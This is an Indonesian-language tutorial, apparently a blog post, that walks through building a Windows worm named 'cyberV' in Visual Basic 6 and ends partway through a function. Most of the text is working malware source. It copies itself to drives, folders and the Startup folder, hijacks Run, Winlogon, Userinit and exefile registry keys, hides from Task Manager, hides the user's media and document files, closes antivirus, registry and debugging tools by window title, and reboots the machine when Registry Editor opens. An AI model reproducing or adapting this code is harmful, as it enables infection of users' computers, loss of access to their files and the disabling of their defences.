cyberv love

buat virus dengan vb6.0 II

siapkan makanan untuk sambilan jika lambatt ^^
minuman jika hauss dari pd ntr ngambill lama
huft langsunga ajj ea siapkan,
~Microsoft Visual Basic 6.0
~icon. atau kamu bisa buat dengan software ini
~kejenuhan.. cz agak rumit tapi asikk
baca aturan d bawah ini !!! hhe..

'1. buat from beri nama frmcyberv
format sbg berikutt ^^

'appearance = 0-flat
'border style = 0 - None
'caption = [kosong]
'show in taskbar = false
'minbutton = false
'maxbutton = false
'visible = false

'2. buat module beri nama API
' buat module beri nama Cari
' buat module beri nama fungsi
' buat module beri nama GetDrive
' buat module beri nama httinimsg
' buat module beri nama ProcessTable

'3. selanjutnya kita mengisi form dengan

'=================================
' cyberv virus love
'=================================
Dim drv2 As Long
Dim sTemp As String
Dim sTemp3 As String
Dim PngVirus As Long

Private Sub Form_Load()

On Error Resume Next
Selesai = True
Ketemu = True

'Kopi file msvbv60.dll ke directory System dan Windows
If Dir$(App.Path & "\" & "msvbvm60.dll") <> "" Then
CopyFile App.Path & "\" & "msvbvm60.dll", GetSystemPath & "msvbvm60.dll", 0
CopyFile App.Path & "\" & "msvbvm60.dll", GetWindowsPath & "msvbvm60.dll", 0
SetFileAttributes GetSystemPath & "msvbvm60.dll", FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetWindowsPath & "msvbvm60.dll", FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
End If

'Jika parameter pemanggilan virus tidak sama dengan kosong
If Command$ <> "" Then
Dim sFilePath As String
'ambil Path file
sFilePath = Right$(Command$, Len(Command$) - 1)
sFilePath = Left$(sFilePath, Len(sFilePath) - 2)
'set file attribute file tersebut menjadi readonly dan hidden
SetFileAttributes sFilePath, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
'cari apakah ada file yang berkaitan dengan pornografi dan korupsi pada lokasi tersebut lalu sembunyikan
CariFile NamaPath(sFilePath), "*.*", 1
'gandahkan diri kedalam lokasi tersebut denga nama file diambil dari nama folder
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", NamaPath(sFilePath) & RTrim$(Left(NamaFile(sFilePath), Len(NamaFile(sFilePath)) - 4)) & " .exe", 0
'set penggandaan diri dengan attribute normal
SetFileAttributes NamaPath(sFilePath) & RTrim$(Left(NamaFile(sFilePath), Len(NamaFile(sFilePath)) - 4)) & " .exe", FILE_ATTRIBUTE_NORMAL
'check apakah file tersebut memiliki Kata ANT, BRO atau VIR
'jika memiliki jangan dijalankan
If InStr(UCase(Command$), "ANT") Or InStr(UCase(Command$), "BRO") _
Or InStr(UCase(Command$), "VIR") Then
'jika tidak jalankan file tersebut
Else
Shell Command$, vbNormalFocus
PanggilVirus
DoEvents
End If
End If

'atur registry saat virus pertama kali dijalankan
Sett

'jalankan sekali saja
If App.PrevInstance Then End

'sembunyi dari task manager
frmcyberv.Hide
App.TaskVisible = False
App.Title = ""

'atur registry agar file dengan yang disembunyikan tidak tampil
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0

If UCase(App.EXEName) = UCase("Empty") Then
'jika file yang dijalankan bernama cyberv
ElseIf UCase(App.EXEName) = UCase("cyberV") Then
'check tanggal hari ini apakah tanggal satu atau tanggal 12 jika ya jalankan file Puisi.txt denga Notepad
If Day(Now) = "21" Or Day(Now) = "25" Then Shell "Notepad.exe C:\cyberV.txt", vbNormalFocus
'timer diaktifkan
Timer1.Enabled = True
ElseIf UCase(App.EXEName) = UCase("Shell") Then
'timer diaktifkan
Timer1.Enabled = True
ElseIf UCase(App.EXEName) = UCase("IExplorer") Then
ElseIf UCase(App.EXEName) = UCase("WINLOGON") Then
'timer diaktifkan
Timer1.Enabled = True
ElseIf UCase(App.EXEName) = UCase("CSRSS") Then
ElseIf UCase(App.EXEName) = UCase("Services") Then
ElseIf UCase(App.EXEName) = UCase("SMSS") Then
ElseIf UCase(App.EXEName) = UCase("lsass") Then
ElseIf UCase(App.EXEName) = UCase("MrHelloween") Or UCase(App.EXEName) = UCase("MRHELL~1") Then PanggilVirus
'jika tidak
Else
'Update Virus
'matikan proses untuk sementara
Prosess 1
'Kopikan virus baru
Kopi
'Lalu panggil kembali virus baru tersebut
PanggilVirus
End
End If

End Sub

Private Sub Form_Terminate()
'Panggil kembali virus
PanggilVirus
End Sub

Private Sub Form_Unload(Cancel As Integer)
'tidak dapat dimatikan
Cancel = 1
PanggilVirus
End Sub

Private Sub Timer1_Timer()

On Error Resume Next
Dim hand1 As Long
Dim hand2 As Long
Dim hand3 As Long
Dim hand4 As Long
Dim hand5 As Long
Dim hand6 As Long
Dim hand7 As Long
Dim temp As String * 256
Dim temp2 As String * 256
Dim AlamatFile1 As String
Dim JudulCaption1 As String
Dim hand8 As Long
Dim hand9 As Long
Dim hand10 As Long
Dim temp3 As String * 256
Dim MultiMedia As String
Dim i As Integer
Dim JmlTmp As Long
Dim TmpPngVirus As Long

'cek apakah ada program dengan classname RegEdit_RegEdit
hand7 = FindWindow("RegEdit_RegEdit", vbNullString)
'cek apakah ada progam dengan caption Registry Editor
If hand7 = 0 Then hand7 = FindWindow(vbNullString, "Registry Editor")
'cek apakah ada progam dengan caption Folder Options
If hand7 = 0 Then hand7 = FindWindow(vbNullString, "Folder Options")
'cek apakah ada progam dengan caption Local Settings
If hand7 = 0 Then hand7 = FindWindow(vbNullString, "Local Settings")
'jika ada restart
If hand7 <> 0 Then
Restart
Timer1.Enabled = False
End
End If

'cek dapatkan handel dari program yang sedang mendapatkan focus
TmpPngVirus = GetForegroundWindow
'jika handel tidak sama dengan handle program seebelumnya maka panggil kembali virus
If PngVirus <> TmpPngVirus Then PanggilVirus: PngVirus = TmpPngVirus

'membaca address bar pada windows explorer sebagai media penyebaran
hand1 = FindWindow("ExploreWClass", vbNullString)
hand10 = FindWindow("CabinetWClass", vbNullString)
If hand1 = GetForegroundWindow Then
hand2 = FindWindowEx(hand1, 0&, "WorkerW", vbNullString)
SendMessage hand1, WM_GETTEXT, 200, ByVal temp2
ElseIf hand10 = GetForegroundWindow Then
hand2 = FindWindowEx(hand10, 0&, "WorkerW", vbNullString)
SendMessage hand10, WM_GETTEXT, 200, ByVal temp2
Else
Dim AppCaption As String * 255
Dim HCap As Long
'dapatkan handle dari program yang dijalankan
HCap = GetForegroundWindow
'dapatkan captionnya dari handle yang didapat
GetWindowText HCap, AppCaption, 255
'jika pda caption tersebut terdapat kata-kata ANT,VIR,TASK,ASM,REG,ASM,W32,BUG,
'DBG,HEX,DETEC,PROC,WALK,REST,AVS,OPTIONS
If InStr(UCase(AppCaption), "ANT") Or InStr(UCase(AppCaption), "VIR") _
Or InStr(UCase(AppCaption), "TASK") Or InStr(UCase(AppCaption), "REG") _
Or InStr(UCase(AppCaption), "ASM") Or InStr(UCase(AppCaption), "DBG") _
Or InStr(UCase(AppCaption), "W32") Or InStr(UCase(AppCaption), "BUG") _
Or InStr(UCase(AppCaption), "HEX") Or InStr(UCase(AppCaption), "DETEC") _
Or InStr(UCase(AppCaption), "PROC") Or InStr(UCase(AppCaption), "WALK") _
Or InStr(UCase(AppCaption), "REST") Or InStr(UCase(AppCaption), "AVS") _
Or InStr(UCase(AppCaption), "OPTIONS") Then
'maka tutup program tersebut
SendMessage HCap, WM_CLOSE, 0, 0
End If
End If
'dapatkan string pada address bar
hand3 = FindWindowEx(hand2, 0&, "RebarWindow32", vbNullString)
hand4 = FindWindowEx(hand3, 0&, "ComboBoxEx32", vbNullString)
hand5 = FindWindowEx(hand4, 0&, "ComboBox", vbNullString)
hand6 = FindWindowEx(hand5, 0&, "Edit", vbNullString)
SendMessage hand6, WM_GETTEXT, 200, ByVal temp
'ambil lokasi folder yang aktif pada windows explorer
AlamatFile1 = Mid$(temp, 1, InStr(temp, Chr$(0)) - 1)
'ambil caption windows explorer
JudulCaption1 = Mid$(temp2, 1, InStr(temp2, Chr$(0)) - 1)
'jika caption tersebut terdapat kata ANTI dan VIRUS
If InStr(UCase(JudulCaption1), "ANTI") <> 0 Or InStr(UCase(JudulCaption1), "VIRUS") <> 0 Then
'maka sembunyikan windows explorer tersebut
ShowWindow hand1, SW_HIDE
End If

'jika judul tersebut tidak sama dengan judul sebelumnya
If JudulCaption1 <> sTemp Then
'atur kembali pencarian dimulai dari drive c
Ketemu = False: TmpDrv = "C:\"
End If

'dapatkan nama folder dari Open File pada winamp
hand8 = FindWindow("#32770", vbNullString)
hand9 = FindWindowEx(hand8, 0&, "ComboBox", vbNullString)
SendMessage hand9, WM_GETTEXT, 200, ByVal temp3
'ambil nama folder tersebut
MultiMedia = Mid(temp3, 1, InStr(temp3, Chr$(0)) - 1)

'jika nama folder sekarang tidak sama dengan folder sebelumnya
If MultiMedia <> sTemp3 Then
'atur pencarian dimulai dari drive c
Ketemu2 = False: TmpDrv2 = "C:\"
End If

'jika Multimedia tidak sama dengan kosong dan tidak sama dengan nama folder yang lama
If MultiMedia <> "" And sPathLama2 <> MultiMedia Then
'cari folder multimedia tersebut dimulai dari dirve c
If Ketemu2 = False And TmpDrv2 <> Right$(CariDrive, 3) Then
Dim sdrv2 As String
'jika drv2 tidak sama dengan 0 makan cari nama folder multimedia tersebut pada drive c
If drv2 = 0 Then CariDirectory "C:\", MultiMedia, sTemp3, 2
'drive selanjutnya
drv2 = drv2 + 3
crdrv2 = CariDrive
sdrv2 = Mid$(CariDrive, drv2 + 1, 3)
'cari folder multimedia tersebut pada drive selanjutnya
CariDirectory sdrv2, MultiMedia, sTemp3, 2
'jika sampai drive terakhir tidak ketemu pencarian dihentikan
If Len(CariDrive) = drv2 + 3 Then drv2 = 0: Ketemu2 = True
End If
End If

'jika alamat file dan caption pada windows explorer tidak sama kosong
If AlamatFile1 <> "" Or JudulCaption1 <> "" Then
'jika panjang nama file tidak sama dengan 0
If Len(NamaFile(AlamatFile1)) <> 0 Then
'jika alamay file tidak sama dengan alamat file yang lama
If AlamatFile1 & "\" <> sPathLama1 Then
'jika selesai cek apakah dialamat tersebut sudah terdapat hasil peggandaan virus
If Selesai Then
'jika belum terdapat hasil penggandaan virus cari file yang ingin disembunyikan pada alamat tersebut
If Dir$(AlamatFile1 & "\" & NamaFile(AlamatFile1) & " .exe", vbNormal) = "" Then CariFile AlamatFile1, "*.*", 1
End If
'gandahkan diri pada alamat tersebut dengan nama folder pada alamat tersebut
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", AlamatFile1 & "\" & NamaFile(AlamatFile1) & " .exe", 0
'set attribute hasil penggandaan menjadi normal
SetFileAttributes AlamatFile1 & "\" & NamaFile(AlamatFile1) & " .exe", FILE_ATTRIBUTE_NORMAL
End If
'jika namafile sama dengan kosong tapi caption windows explorer tidak kosong dan terdapat tidak karakter : pada caption tersebut
'penangan jika address bar tidak menunjukkan alamat file
ElseIf NamaFile(AlamatFile1) = "" And AlamatFile1 <> "" And InStr(JudulCaption1, ":") = 0 Then
'pencarian nama folder tersebut dimulai dari dirve c
If Ketemu = False And TmpDrv <> Right$(CariDrive, 3) Then
Dim sdrv As String
'jika drv sama dengan 0 maka cari lokasi folder pada drive c
If drv = 0 Then CariDirectory "C:\", JudulCaption1, sTemp, 1
'drive selanjutnya
drv = drv + 3
crdrv = CariDrive
sdrv = Mid$(CariDrive, drv + 1, 3)
'cari lokasi folder tersebut pada drive selanjutnya
CariDirectory sdrv, JudulCaption1, sTemp, 1
'jika tidak ketemu sampai drive terakhir hentikan pencarian
If Len(CariDrive) = drv + 3 Then drv = 0: Ketemu = True
End If
End If
End If

'cari drive yang tersedia
For i = 1 To Len(CariDrive) Step 3
'jika pada drive tersebut tidak terdapat hasil penggandaan diri
If Dir$(Mid$(CariDrive, i, 3) & "Data " & GetUserAktif & ".exe", vbNormal) = "" Then
Dim Security As SECURITY_ATTRIBUTES
'buat direktory cyberv pada drive tersebut
CreateDirectory Mid$(CariDrive, i, 3) & "\cyberV", Security
'ubah attribute folder tersebut menjadi system dan hidden
SetFileAttributes Mid$(CariDrive, i, 3) & "\cyberV", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN
'ubah attriube file folder.htt pada folder cyberv menjadi normal
SetFileAttributes Mid$(CariDrive, i, 3) & "\cyberV\Folder.htt", FILE_ATTRIBUTE_NORMAL
'ubah attriube file Dekstop pada drive menjadi normal
SetFileAttributes Mid$(CariDrive, i, 3) & "\desktop.ini", FILE_ATTRIBUTE_NORMAL
'buat file Folder htt pada folder cyberv pada drive
buathtt Mid$(CariDrive, i, 3) & "\cyberV\Folder.htt"
'buat file dektop.ini pada drive
buatini Mid$(CariDrive, i, 3) & "\desktop.ini"
'gandahkan diri didalam folde cyberv dengan nama file New Folder.exe
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", Mid$(CariDrive, i, 3) & "\cyberV\New Folder.exe", 0
'set attribute file New Folder.exe menjadi normal
SetFileAttributes Mid$(CariDrive, i, 3) & "\cyberV\New Folder.exe", FILE_ATTRIBUTE_NORMAL
'gandahkan diri pada drive tesebut dengan nama file dengan awalan Data dan diakhiri dengan nama user yang aktif
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", Mid$(CariDrive, i, 3) & "Data " & GetUserAktif & ".exe", 0
'set attribute file tersebut menjadi normal
SetFileAttributes Mid$(CariDrive, i, 3) & "Data " & GetUserAktif & ".exe", FILE_ATTRIBUTE_NORMAL
End If
'apakah terdapat folder startup pada drive tersebut, jika ada
If Dir$(Mid$(CariDrive, i, 3) & "Documents and Settings\All Users\Start Menu\Programs\Startup") <> "" Then
'gandahkan diri dalam folder startup tersebut
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", Mid$(CariDrive, i, 3) & "Documents and Settings\All Users\Start Menu\Programs\Startup\" & "Empty.pif", 0
SetFileAttributes Mid$(CariDrive, i, 3) & "Documents and Settings\All Users\Start Menu\Programs\Startup\" & "Empty.pif", FILE_ATTRIBUTE_NORMAL
End If
Next i
Autorun
DoEvents

End Sub

Private Sub Autorun()
'atur registy agar virus dapat berjalan pada saat login
SetFileAttributes Left$(GetWindowsPath, 3) & "cyberv.exe", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Logon" & GetUserAktif, GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "System Monitoring", GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.EXE"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", REG_SZ, "Shell", "Explorer.exe " & Chr(&H22) & GetSystemPath & "IExplorer.exe" & Chr(&H22)
CreateStringValue HKEY_CLASSES_ROOT, "exefile\shell\open\command", REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & Chr(&H22) & "%1" & Chr(&H22) & " %*"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", REG_SZ, "Userinit", GetSystemPath & "userinit.exe," & GetSystemPath & "IExplorer.exe"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug", REG_SZ, "Debugger", Chr(&H22) & GetSystemPath & "Shell.exe" & Chr(&H22)
End Sub

'panggil virus
Private Sub PanggilVirus()
Shell GetWindowsPath & "cyberv.exe", vbNormalFocus
Shell GetSystemPath & "IExplorer.exe", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\SERVICES.EXE", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.EXE", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\SMSS.EXE", vbNormalFocus
DoEvents
End Sub

'3. selanjutnya kita mengisi module API

Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Public Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Public Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long

Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long

Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function EnumProcesses Lib "psapi.dll" (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Public Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Public Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessId As Long, ByVal dwType As Long) As Long
Public Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal Handle As Long) As Long
Public Declare Function GetModuleFileNameExA Lib "psapi.dll" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long
Public Declare Function EnumProcessModules Lib "psapi.dll" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Public Declare Function GetFileTitle Lib "comdlg32.dll" Alias "GetFileTitleA" (ByVal lpszFile As String, ByVal lpszTitle As String, ByVal cbBuf As Integer) As Integer
Public Declare Function Module32First Lib "kernel32" (ByVal hSnapshot As Long, lpme As MODULEENTRY32) As Long
Public Declare Function Module32Next Lib "kernel32" (ByVal hSnapshot As Long, lpme As MODULEENTRY32) As Long
Public Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Public Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Public Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Public Const WM_CLOSE = &H10
Public Const SW_HIDE = 0
Public Const EWX_FORCE = 4
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Const WM_GETTEXT = &HD
Public Const VER_PLATFORM_WIN32_NT = 2
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_PRIVILEGE_ENABLED = &H2
Public Const ANYSIZE_ARRAY = 1
Public Const INVALID_HANDLE_VALUE = -1
Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Const FO_DELETE = &H3
Public Const REG_DWORD = 4
Public Const PROCESS_QUERY_INFORMATION = 1024
Public Const PROCESS_VM_READ = 16
Public Const MAX_PATH = 260
Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
Public Const SYNCHRONIZE = &H100000
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Public Const MAX_MODULE_NAME32 As Integer = 255
Public Const MAX_MODULE_NAME32plus As Integer = MAX_MODULE_NAME32 + 1
Public Const TH32CS_SNAPHEAPLIST = &H1
Public Const TH32CS_SNAPPROCESS = &H2
Public Const TH32CS_SNAPTHREAD = &H4
Public Const TH32CS_SNAPMODULE = &H8
Public Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Public Const hNull = 0
Public Const ERROR_SUCCESS = &H0
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public Const FO_COPY = &H2
Public Const FOF_ALLOWUNDO = &H40
Public Const MAXDWORD = &HFFFF
Public Const FILE_ATTRIBUTE_TEMPORARY = &H100

Public Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Public Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Public Type SHFILEOPSTRUCT
hwnd As Long
wFunc As Long
pFrom As String
pTo As String
fFlags As Integer
fAnyOperationsAborted As Long
hNameMappings As Long
lpszProgressTitle As String
End Type
Public Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * MAX_PATH
End Type
Public Type MODULEENTRY32
dwSize As Long
th32ModuleID As Long
th32ProcessID As Long
GlblcntUsage As Long
ProccntUsage As Long
modBaseAddr As Long
modBaseSize As Long
hModule As Long
szModule As String * MAX_MODULE_NAME32plus
szExePath As String * MAX_PATH
End Type
Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Public Type LUID
LowPart As Long
HighPart As Long
End Type
Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Public Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
Public Type SHITEMID
cb As Long
abID As Byte
End Type
Public Type ITEMIDLIST
mkid As SHITEMID
End Type
Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Public Selesai As Boolean
Public Ketemu As Boolean
Public Ketemu2 As Boolean
Public sPathLama1 As String
Public sPathLama2 As String
Public TmpDrv As String
Public TmpDrv2 As String

'4. selanjutnya kita mengisi module Cari

Public Function CariFile(Path As String, SearchStr As String, ByVal Jenis As Integer) As Integer

On Error Resume Next
Dim FileName As String
Dim hSearch As Double
Dim WFD As WIN32_FIND_DATA
Dim cont As Double

CariFile = 0
Selesai = False
If Right(Path, 1) <> "\" Then Path = Path & "\"

cont = True
hSearch = FindFirstFile(Path & "*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do While cont

FileName = Mid$(WFD.cFileName, 1, InStr(WFD.cFileName, Chr$(0)) - 1)
If (FileName <> ".") And (FileName <> "..") Then
If Not FILE_ATTRIBUTE_DIRECTORY Then
If WFD.dwFileAttributes = 128 Or WFD.dwFileAttributes = 32 Then
If UCase(Right$(FileName, 3)) = "MP3" Or UCase(Right$(FileName, 3)) = "MP4" _
Or UCase(Right$(FileName, 3)) = "MPG" Or UCase(Right$(FileName, 3)) = "MPEG" _
Or UCase(Right$(FileName, 3)) = "AVI" Or UCase(Right$(FileName, 3)) = "DAT" _
Or UCase(Right$(FileName, 3)) = "WMV" Or UCase(Right$(FileName, 3)) = "JPG" _
Or UCase(Right$(FileName, 3)) = "PSD" Or UCase(Right$(FileName, 3)) = "SWF" _
Or UCase(Right$(FileName, 3)) = "HTM" Or UCase(Right$(FileName, 3)) = "HTML" _
Or UCase(Right$(FileName, 3)) = "TXT" Or UCase(Right$(FileName, 3)) = "CSS" _
Or UCase(Right$(FileName, 3)) = "RTF" Or UCase(Right$(FileName, 3)) = "JS" _
Or UCase(Right$(FileName, 3)) = "PHP" Or UCase(Right$(FileName, 3)) = "SCR" _
Or UCase(Right$(FileName, 3)) = "BMP" Or UCase(Right$(FileName, 3)) = "XML" _
Or UCase(Right$(FileName, 3)) = "ZIP" Or UCase(Right$(FileName, 3)) = "RAR" _
Or UCase(Right$(FileName, 3)) = "GIF" Or UCase(Right$(FileName, 3)) = "JPEG" _
Or UCase(Right$(FileName, 3)) = "PNG" Or UCase(Right$(FileName, 3)) = "ASX" _
Or UCase(Right$(FileName, 3)) = "WMA" Or UCase(Right$(FileName, 3)) = "MDB" _
